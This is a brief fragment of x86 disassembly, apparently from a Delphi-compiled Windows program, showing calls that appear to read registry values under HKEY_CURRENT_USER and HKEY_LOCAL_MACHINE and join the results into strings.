call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45f9fc
call fcn.004045b8
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x45fab8
mov edx, dword [ebp - 0x14]
mov eax, 0x80000001
call fcn.00409200
mov eax, dword [0x4671a8]
mov edx, 0x45facc
call fcn.004045b8
cmp dword [ebp - 0xc], 0
je 0x45db35
mov eax, dword [0x467220]
push dword [eax]
push 0x45e264
push 0x45faf0
push dword [ebp - 0xc]
push 0x45dc70
push 0x45fb08
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x664]
push eax
mov ecx, 0x45fb1c
mov edx, dword [ebp - 0x14]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x664]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 8
call fcn.004048e4
push 0x45fb2c
push dword [ebp - 0x1c]
push 0x45dc70
push 0x45fb54
push 0x45dc70
push 0x45fb64
lea edx, [ebp - 0x668]
mov eax, 0x9c
call fcn.0040799c
push dword [ebp - 0x668]
mov eax, dword [0x467220]
push dword [eax]
mov eax, dword [0x467220]
mov edx, 8
call fcn.004048e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45dbaf
lea eax, [ebp - 0x668]
mov edx, 0x29
call fcn.00404588
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.00404588
ret